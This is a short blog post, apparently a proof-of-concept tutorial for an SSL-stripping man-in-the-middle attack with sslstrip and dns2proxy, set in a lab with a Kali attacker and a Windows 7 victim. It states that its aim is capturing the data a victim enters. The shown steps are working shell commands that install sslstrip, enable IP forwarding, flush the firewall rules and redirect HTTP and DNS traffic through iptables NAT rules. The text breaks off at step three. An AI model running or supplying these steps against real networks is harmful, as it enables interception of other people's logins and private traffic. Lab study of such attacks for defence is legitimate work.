Posts

Showing posts with the label dnsproxy

POC OF sslstrip with dns2proxy

Image
POC OF sslstrip with dns2proxy Introduction:- This is a POC of sslstrip. Here We intercept the traffic and get all the juicy data enter by the victim by using the sslstrip-master,dns2proxy-master Lab Environment:- Attacker’s operating system:-linux kali 4.13.0-kali-amd64 Victim’s operating system:-window 7 Required tools:-sslstrip-master,dns2proxy-master Steps of attack:- Step 1: #cd sslstrip-master/(change directory to sslstrip-master) #python setup.py install(install sslstrip-master) Step 2: #echo “1” > /proc/sys/net/ipv4/ip_forward(Enables IP forwarding) #iptables --flush( Removing all firewall rules ) #iptables --flush -t nat() #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000(forward all the traffic to port number 9000) #iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53 Step 3: #ifconfig(for finding the ip address of the attacker’s machine 192.168.29...